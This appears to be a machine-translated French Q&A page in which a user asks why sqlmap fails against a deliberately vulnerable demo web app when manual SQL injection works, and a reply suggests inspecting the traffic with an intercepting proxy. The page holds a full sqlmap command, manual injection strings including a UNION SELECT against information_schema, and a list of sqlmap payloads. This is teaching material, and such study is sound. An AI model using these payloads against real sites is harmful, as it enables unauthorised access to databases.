web-dev-qa-db-fra.com

Injection SQLMAP ne fonctionne pas, manuellement ça marche bien

J'ai construit une application Web vulnérable pour démontrer l'injection SQL. Je veux montrer à la fois une injection manuelle et une injection automatisée. L'injection nécessite un) l'utilisateur d'être connecté (cookie de session), b) un certificat SSL utilisateur et c) un préfixe.

Ma commande est:

python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16

Je peux voir que SQLMAP fonctionne, mais il ne trouve jamais que le champ est injectable.

Une injection manuelle comme celle-ci fonctionne:

http://vulnapp.com/index.php?profile=admin' or '1'='1

Des choses qui pourraient causer l'échec de SQLMAP:

  1. Le message d'erreur retourné est un message d'erreur personnalisé, pas un message d'erreur MySQL.
  2. Le préfixe de profil doit être le nom d'utilisateur connecté.
  3. Le UNION _ ne teste pas assez de champs éventuellement
  4. Ses cordes ne testent pas mais juste des entiers (par exemple AND 3347=7762 et pas AND '3347'='7762
  5. Son test AND et pas OR (je ne peux pas voir ORs testé)
  6. La demande HTTP GET est ensuite transmise à JS que AJAX est pour les données du serveur. La réponse est peut-être perdue à SQLMAP?

Vous trouverez ci-dessous une partie des requêtes pouvant le voir tester, mais apparemment, ils échouent tous.

[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--

EDIT: Cette requête fonctionne également manuellement:

' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x

Cependant, SQLMAP ne semble pas tester les syndicats comme ça.

5
amlwwalker

Bien qu'il soit impossible de dire exactement pourquoi SQLMAP échoue sans avoir accès à l'application de test, vous pouvez envisager d'utiliser un proxy intercepté pour examiner les demandes/réponses de l'application. voir où son échec. En utilisant un proxy comme Owasp zap ou Burp Vous pouvez regarder les requêtes envoyées par SQLMAP et avoir une idée de la raison pour laquelle ils risquent d'échouer.

1
Rory McCune